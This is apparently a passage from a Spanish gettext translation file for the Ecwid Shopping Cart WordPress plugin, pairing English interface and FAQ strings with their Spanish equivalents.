msgid "Cancel" msgstr "Cancelar" #: includes/class-ecwid-popup-deactivate.php:101 msgid "Submit & Deactivate" msgstr "Enviar y desactivar" #: includes/class-ecwid-message-manager.php:244 #: includes/class-ecwid-store-page.php:568 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:51 #: ecwid-shopping-cart.php:1082 js/gutenberg/blocks.build.js:1 msgid "Set up your store" msgstr "Configure su tienda" #: templates/admin-head.php:8 includes/class-ecwid-admin.php:48 #: includes/integrations/class-ecwid-integration-gutenberg.php:45 #: includes/gutenberg/class-ecwid-gutenberg.php:69 msgid "%s" msgstr "%s" #: templates/product-popup.php:199 js/gutenberg/blocks.build.js:1 msgid "«Buy now» button" msgstr "Botón de «Comprar ahora»" #: templates/admin/simple-dashboard.php:10 msgid "%s Shopping Cart" msgstr "Carrito de compras de %s" #: templates/advanced-settings.php:42 msgid "Please subscribe to a paid plan to get this feature." msgstr "Suscríbase a un plan de pago para obtener esta función." #: templates/admin-footer.php:9 msgid "Get %s mobile app" msgstr "Descargue la aplicación móvil de %s" #: includes/class-ecwid-message-manager.php:272 msgid "Rate %s at WordPress.org" msgstr "Tasa de %s en WordPress.org" #: includes/class-ecwid-message-manager.php:268 msgid "Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site." msgstr "¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress." #: includes/class-ecwid-message-manager.php:260 msgid "To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración." #: templates/sync.php:114 msgid "Provide access." msgstr "Otorgar acceso." #: templates/sync.php:113 msgid "To enable this feature, the plugin needs a permission to read your store product information." msgstr "Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda." #: templates/product-popup.php:137 templates/product-popup.php:147 msgid "Choose Product" msgstr "Elegir producto" #: templates/product-popup.php:96 msgid "Try another search." msgstr "Intente otra búsqueda." #: templates/sync.php:152 msgid "Not synchronized yet" msgstr "No se ha sincronizado todavía" #: templates/sync.php:149 msgid "Last update" msgstr "Última actualización" #: templates/sync.php:145 msgid "Products are successfully synchronized. The product pages are up to date." msgstr "Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas." #: templates/sync.php:138 msgid "Products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: templates/sync.php:126 msgid "We're synchronizing your products. This may take a few minutes. Please do not reload the page." msgstr "Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página." #: templates/sync.php:119 msgid "Synchronize products" msgstr "Sincronizar productos" #: templates/advanced-settings.php:83 msgid "%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site." msgstr "%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web." #: templates/product-popup.php:243 msgid "Insert" msgstr "Insertar" #: templates/product-popup.php:242 msgid "select product" msgstr "seleccionar producto" #: templates/product-popup.php:241 templates/product-popup.php:246 msgid "customize appearance" msgstr "personalizar apariencia" #: templates/product-popup.php:224 msgid "Show price inside the \"Buy now\" button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: templates/product-popup.php:229 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:62 #: js/gutenberg/blocks.build.js:1 msgid "Center align on a page" msgstr "Centrar la alineación en una página" #: templates/product-popup.php:219 js/gutenberg/blocks.build.js:1 msgid "Add border" msgstr "Añadir borde" #: templates/product-popup.php:188 js/gutenberg/blocks.build.js:1 msgid "Quantity" msgstr "Cantidad" #: templates/product-popup.php:178 js/gutenberg/blocks.build.js:1 msgid "Options" msgstr "Opciones" #: templates/product-popup.php:173 js/gutenberg/blocks.build.js:1 msgid "Picture" msgstr "Imagen" #: templates/product-popup.php:163 msgid "Choose product properties to display in widget" msgstr "Elija las propiedades del producto para mostrarlas en el «widget»" #: templates/product-popup.php:139 templates/product-popup.php:151 msgid "Customize widget" msgstr "Personalizar «widget»" #: templates/product-popup.php:97 msgid "Browse all products." msgstr "Explorar todos los productos." #: templates/product-popup.php:94 msgid "Nothing found for <span class=\"empty-page__term\">\"{{ data.term }}\"</span>" msgstr "No se ha encontrado nada en relación con <span class=\"empty-page__term\">«{{ data.term }}»</span>" #: templates/product-popup.php:80 msgid "Next page" msgstr "Página siguiente" #: templates/product-popup.php:69 msgid "Current Page" msgstr "Página actual" #: templates/product-popup.php:49 msgid "Title or SKU" msgstr "Título o REF" #: templates/product-popup.php:47 templates/product-popup.php:53 #: templates/product-popup.php:56 msgid "Search" msgstr "Buscar" #: templates/product-popup.php:29 msgid "SKU" msgstr "REF" #: templates/product-popup.php:23 msgid "Name" msgstr "Nombre" #: includes/class-ecwid-product-popup.php:150 msgid "Last Page" msgstr "Última página" #: includes/class-ecwid-product-popup.php:149 msgid "Next Page" msgstr "Página siguiente" #: includes/class-ecwid-product-popup.php:148 msgid "Previous Page" msgstr "Página anterior" #: includes/class-ecwid-product-popup.php:147 msgid "First Page" msgstr "Primera página" #: includes/class-ecwid-product-popup.php:107 msgid "Add Product" msgstr "Añadir producto" #: includes/class-ecwid-oauth.php:366 msgid "To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the \"Add product\" dialog." msgstr "A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto»." #: templates/advanced-settings.php:54 msgid "To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>" msgstr "Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>" #: templates/advanced-settings.php:48 msgid "To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>" msgstr "Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>" #: templates/advanced-settings.php:39 msgid "Upgrade to get this feature" msgstr "Actualice para obtener esta función" #: templates/advanced-settings.php:32 msgid "Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again." msgstr "El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente." #: templates/advanced-settings.php:27 msgid "Customer Single Sign-On" msgstr "Inicio de sesión único del cliente" #: includes/integrations/class-ecwid-integration-divibuilder.php:63 msgid "Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space." msgstr "Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio." #: includes/integrations/class-ecwid-integration-divibuilder.php:60 msgid "CSS Class" msgstr "Clase CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:57 msgid "Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page." msgstr "Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web." #: includes/integrations/class-ecwid-integration-divibuilder.php:54 msgid "CSS ID" msgstr "ID de CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:51 msgid "This will change the label of the module in the builder for easy identification." msgstr "Esto cambiará la etiqueta del módulo en el creador para una fácil identificación." #: includes/integrations/class-ecwid-integration-divibuilder.php:49 msgid "Admin Label" msgstr "Etiqueta de administrador" #: includes/integrations/class-ecwid-integration-divibuilder.php:44 msgid "Here you can create the content that will be used within the module." msgstr "Aquí puede crear el contenido que se utilizará dentro del módulo." #: includes/integrations/class-ecwid-integration-divibuilder.php:41 msgid "Content" msgstr "Contenido" #: templates/admin-footer.php:29 msgid "<a %s>Reconnect</a>" msgstr "<a %s>Volver a conectar</a>" #: templates/help.php:15 msgid "https://support.ecwid.com/hc/en-us/search" msgstr "https://support.ecwid.com/hc/en-us/search" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:73 msgid "Browse by Category" msgstr "Buscar por categoría" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:15 msgid "Store Root Categories" msgstr "Categorías raíz de la tienda" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:14 msgid "Adds root categories list to the sidebar to let your customers navigate the store." msgstr "Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda." #: templates/admin/welcome-connection-message.php:25 msgid "To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission." msgstr "Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso." #: templates/admin-timeout.php:11 msgid "Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">our customer support team</a>." msgstr "Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">nuestro equipo de atención al cliente</a>." #: templates/admin-timeout.php:9 msgid "Sorry we're having technical difficulties." msgstr "Le pido disculpas por las dificultades técnicas que estamos experimentando." #: includes/class-ecwid-floating-minicart.php:153 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:143 msgid "Top right" msgstr "Arriba a la derecha" #: includes/class-ecwid-floating-minicart.php:152 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:138 msgid "Bottom right" msgstr "Abajo a la derecha" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:135 #: includes/class-ecwid-customizer.php:110 msgid "Position" msgstr "Posición" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:20 msgid "Adds a shopping cart widget to the top right corner of your site." msgstr "Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web." #: templates/help.php:215 msgid "You can send a new request here." msgstr "Puede enviar una nueva solicitud aquí." #: templates/help.php:214 msgid " Thank you very much for contacting us! We will get back to you shortly." msgstr " ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve." #: templates/help.php:213 msgid "Your email has been sent" msgstr "Se ha enviado su correo electrónico" #: templates/help.php:207 msgid "Send message failed" msgstr "Ocurrió un error al enviar el mensaje" #: templates/help.php:196 msgid "Send Message" msgstr "Enviar mensaje" #: templates/help.php:193 msgid "Type in your message here" msgstr "Escriba su mensaje aquí" #: templates/help.php:192 msgid "Subject" msgstr "Asunto" #: templates/help.php:186 msgid "Send a message to our support team" msgstr "Envíe un mensaje a nuestro equipo de asistencia" #: templates/help.php:177 msgid "Still have questions about Ecwid? Let us know!" msgstr "¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!" #: templates/help.php:176 msgid "Contact us" msgstr "Póngase en contacto con nosotros" #: templates/help.php:33 msgid "Frequently Asked Questions" msgstr "Preguntas frecuentes" #: templates/help.php:21 msgid "Search the Knowledge Base" msgstr "Buscar en la base de conocimientos" #: templates/help.php:17 msgid "E.g. How to set up shipping" msgstr "Por ejemplo, cómo establecer el envío" #: templates/help.php:11 msgid "How can we help you?" msgstr "¿Cómo podemos ayudarle?" #: includes/faq_entries.php:68 msgid "You can display your store on the site main page. Adjust the \"Reading\" settings of your site as described in our <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">Help Center.</a>" msgstr "Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">centro de asistencia.</a>" #: includes/faq_entries.php:67 msgid "Is it possible to display my store on the site home page?" msgstr "¿Es posible mostrar mi tienda en la página de inicio del sitio web?" #: includes/faq_entries.php:61 msgid "To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">How to use it.</a>" msgstr "Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">Cómo utilizarlo</a>" #: includes/faq_entries.php:60 msgid "How to add a single product with the add to bag button to the site pages?" msgstr "¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?" #: includes/faq_entries.php:55 msgid "To create sitemap for your Wordpress site we suggest using <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> or <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">paid Ecwid users</a>." msgstr "Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> o <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">usuarios de pago de Ecwid</a>." #: includes/faq_entries.php:54 msgid "How do I put my products in the sitemap?" msgstr "¿Cómo pongo mis productos en el mapa del sitio?" #: includes/faq_entries.php:48 msgid "You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open \"Appearance > Menus\" in your WordPress control panel and add the \"Store with Categories Menu\" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site." msgstr "Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web." #: includes/faq_entries.php:47 msgid "How do I add store categories to the site menu?" msgstr "¿Cómo puedo añadir categorías de tiendas al menú del sitio web?" #: includes/faq_entries.php:38 msgid "How much does Ecwid cost?" msgstr "¿Cuánto cuesta Ecwid?" #: includes/faq_entries.php:30 msgid "You can add product search box, cart widget and more on the <a href=\"%s\">\"Appearance / Widgets page\"</a> here in your site admin. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">More details.</a>" msgstr "Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href=\"%s\">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">Más detalles.</a>" #: includes/faq_entries.php:28 msgid "How can I add a cart widget to my site sidebar?" msgstr "¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?" #: includes/faq_entries.php:21 msgid "You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">More details.</a>" msgstr "Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">Más detalles.</a>" #: includes/faq_entries.php:20 msgid "How to set up a storefront on Facebook with Ecwid?" msgstr "¿Cómo crear una tienda en Facebook con Ecwid?" #: includes/faq_entries.php:13 msgid "Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">More details.</a>" msgstr "Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">Más detalles.</a>" #: includes/faq_entries.php:12 msgid "How can I manage my store from a mobile device?" msgstr "¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?" #: includes/faq_entries.php:6 msgid "Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">More details.</a>" msgstr "Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">Más detalles.</a>" #: includes/faq_entries.php:5 msgid "How secure is this plugin? Is my store PCI DSS compliant?" msgstr "¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?" #: includes/class-ecwid-nav-menus.php:32 msgid "Ecwid Menu Item" msgstr "Elemento del menú de Ecwid" #: includes/class-ecwid-admin.php:179 includes/class-ecwid-admin.php:180 msgid "Help" msgstr "Ayuda" #: templates/admin-footer.php:27 msgid "Want to connect another %s store?" msgstr "¿Desea conectar otra tienda de %s?" #: templates/admin-footer.php:17 msgid "Questions?" msgstr "¿Tiene alguna pregunta?" #: templates/admin-footer.php:6 msgid "Manage Store on iPhone, iPad or Android" msgstr "Gestione la tienda desde iPhone, iPad o Android" #: includes/class-ecwid-message-manager.php:254 msgid "Complete Setup" msgstr "Completar configuración" #: includes/class-ecwid-message-manager.php:253 msgid "Complete setup and start selling" msgstr "Complete la configuración y comience a vender" #: includes/class-ecwid-message-manager.php:242 msgid "Greetings! Your %s plugin is now active." msgstr "¡Enhorabuena! Su complemento de %s ya está activo." #: templates/debug.php:12 msgid "Download log file" msgstr "Descargar archivo de registro" #: templates/help.php:67 includes/oembed.php:75 includes/oembed.php:104 msgid "See more" msgstr "Ver más" #: ecwid-shopping-cart.php:1051 msgid "I have a problem with my %s store" msgstr "Tengo un problema con mi tienda de %s" #: includes/class-ecwid-message-manager.php:55 msgid "Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: \"The Wordpress function wp_remote_post() failed to connect a remote server because of some error: \"%s\". Seems like HTTP POST requests are disabled on this server\". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>." msgstr "Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>." #: templates/store-popup.php:249 msgid "Open store dashboard" msgstr "Abrir el panel de la tienda" #: templates/store-popup.php:12 templates/store-popup.php:27 msgid "Store elements" msgstr "Elementos de la tienda" #: templates/reconnect-sso.php:10 msgid "Re-connect to Enable Control Panel" msgstr "Vuélvase a conectar para activar el panel de control" #: templates/reconnect-sso.php:8 msgid "Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page." msgstr "Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página." #: templates/reconnect-sso.php:7 msgid "Your store Control Panel. Right here in WordPress." msgstr "Panel de control de su tienda. Aquí mismo en WordPress." #: ecwid-shopping-cart.php:2114 msgid "Orders" msgstr "Pedidos" #: includes/class-ecwid-nav-menus.php:168 ecwid-shopping-cart.php:2118 msgid "The store top-level categories are automatically added to this drop-down menu" msgstr "Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable" #: includes/class-ecwid-nav-menus.php:167 ecwid-shopping-cart.php:2117 msgid "Done" msgstr "Hecho" #: includes/class-ecwid-nav-menus.php:166 ecwid-shopping-cart.php:2116 msgid "Refresh categories list" msgstr "Actualizar la lista de categorías" #: includes/class-ecwid-nav-menus.php:165 msgid "Store Page" msgstr "Página de la tienda" #: includes/class-ecwid-nav-menus.php:319 msgid "Add to Menu" msgstr "Añadir al menú" #: includes/class-ecwid-nav-menus.php:316 msgid "Select All" msgstr "Seleccionar todo" #: includes/class-ecwid-nav-menus.php:369 msgid "Store with Categories Menu" msgstr "Tienda con menú de categorías" #: includes/class-ecwid-nav-menus.php:352 #: includes/class-ecwid-nav-menus.php:355 msgid "My Account" msgstr "Mi cuenta" #: includes/class-ecwid-nav-menus.php:335 #: includes/class-ecwid-floating-minicart.php:135 #: includes/class-ecwid-admin-storefront-page.php:279 msgid "Cart" msgstr "Carrito" #: includes/class-ecwid-admin.php:87 includes/class-ecwid-admin.php:88 #: includes/class-ecwid-products.php:228 ecwid-shopping-cart.php:2112 msgid "Products" msgstr "Productos" #: includes/class-ecwid-admin.php:79 includes/class-ecwid-admin.php:80 msgid "Sales" msgstr "Ventas" #: ecwid-shopping-cart.php:1119 msgid "Report a problem with the store" msgstr "Informar un problema con la tienda" #: ecwid-shopping-cart.php:1036 msgid "%s plugin doesn't work well with my \"%s\" theme" msgstr "El complemento %s no funciona bien con mi tema «%s»" #: templates/admin/welcome-connection-message.php:22 #: templates/admin/welcome-connection-message.php:28 msgid "Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL." msgstr "Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL." #. Description of the plugin msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos." #. Plugin URI of the plugin msgid "http://www.ecwid.com?partner=wporg" msgstr "http://www.ecwid.com?partner=wporg" #: templates/store-svg.php:12 msgid "Demo Store" msgstr "Tienda de demostración" #: templates/store-svg.php:9 msgid "Your store will be shown here!" msgstr "¡Su tienda se mostrará aquí!" #: templates/product-popup.php:248 templates/store-popup.php:256 msgid "Update" msgstr "Actualizar" #: templates/store-popup.php:253 msgid "Insert into page" msgstr "Insertar en la página" #: templates/store-popup.php:246 msgid "Demo store" msgstr "Tienda de demostración" #: templates/store-popup.php:80 msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>." #: templates/store-popup.php:74 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:86 msgid "Show categories" msgstr "Mostrar categorías" #: templates/store-popup.php:66 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:94 msgid "Show minicart" msgstr "Mostrar minicarrito" #: templates/store-popup.php:58 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:78 msgid "Show search" msgstr "Mostrar búsqueda" #: templates/store-popup.php:53 msgid "Product catalog will be shown automatically" msgstr "El catálogo de productos se mostrará automáticamente" #: templates/store-popup.php:52 msgid "Choose widgets to show" msgstr "Elija los «widgets» a mostrar" #: templates/admin/welcome-create.php:7 msgid "Connect your store" msgstr "Conecte su tienda" #: templates/admin/welcome-no_oauth.php:6 #: templates/importer/import-no-token.tpl.php:6 #: includes/class-ecwid-message-manager.php:291 msgid "Connect" msgstr "Conectar" #: templates/admin/legacy-connect.tpl.php:68 msgid "Save and connect your %s store to the site" msgstr "Guarde y conecte su tienda de %s al sitio web" #: templates/admin/legacy-connect.tpl.php:59 msgid "Enter your Store ID here:" msgstr "Introduzca el ID de su tienda aquí:" #: templates/admin/legacy-connect.tpl.php:52 msgid "Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the \"Dashboard\" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration." msgstr "El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro." #: templates/admin/legacy-connect.tpl.php:50 msgid "Find your Store ID" msgstr "Encuentre el ID de su tienda" #: templates/admin/legacy-connect.tpl.php:46 msgid "You will be able to sign up through your existing Google, Facebook or PayPal profiles as well." msgstr "También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal." #: templates/admin/legacy-connect.tpl.php:42 msgid "I already have an account, sign in" msgstr "Ya tengo una cuenta, iniciar sesión" #: templates/admin/legacy-connect.tpl.php:35 msgid "Create a new %s account which you will use to manage your store and inventory. The registration is free." msgstr "Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito." #: templates/admin/legacy-connect.tpl.php:24 msgid "The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps." msgstr "El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos." #: templates/admin/legacy-connect.tpl.php:21 msgid "Thank you for choosing %s to build your online store" msgstr "Gracias por elegir %s para construir su tienda en línea" #: templates/admin/simple-dashboard.php:58 msgid "Open control panel" msgstr "Abrir el panel de control" #: templates/admin/simple-dashboard.php:42 msgid "Your %s store is connected<br /> to your WordPress website" msgstr "Su tienda de %s está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:39 msgid "Greetings!" msgstr "¡Saludos!" #: templates/admin/simple-dashboard.php:34 msgid "Your %s store is now connected<br /> to your WordPress website" msgstr "Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:31 msgid "Congratulations!" msgstr "¡Enhorabuena!" #: templates/admin/simple-dashboard.php:18 msgid "Disconnect store" msgstr "Desconectar tienda" #: templates/admin/legacy-connect.tpl.php:65 #: templates/admin/simple-dashboard.php:14 templates/store-popup.php:244 #: templates/store-svg.php:14 #: includes/integrations/class-ecwid-integration-gutenberg.php:104 #: includes/gutenberg/class-ecwid-gutenberg.php:130 msgid "Store ID" msgstr "ID de la tienda" #: templates/admin/welcome-connection-message.php:15 msgid "Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again." msgstr "Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo." #: templates/admin/legacy-connect.tpl.php:57 #: templates/admin/welcome-no_oauth.php:3 msgid "Enter your Store ID" msgstr "Introduzca el ID de su tienda" #: templates/store-popup.php:221 msgid "Default view mode on search results" msgstr "Modo de vista predeterminado en los resultados de búsqueda" #: templates/store-popup.php:214 templates/store-popup.php:232 msgid "Table" msgstr "Tabla" #: templates/store-popup.php:211 templates/store-popup.php:229 msgid "List" msgstr "Lista" #: templates/store-popup.php:208 templates/store-popup.php:226 msgid "Grid" msgstr "Cuadrícula" #: templates/store-popup.php:204 msgid "Default view mode on product pages" msgstr "Modo de vista predeterminado en las páginas de productos" #: templates/store-popup.php:184 msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products." msgstr "Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos." #: templates/store-popup.php:169 msgid "Table view" msgstr 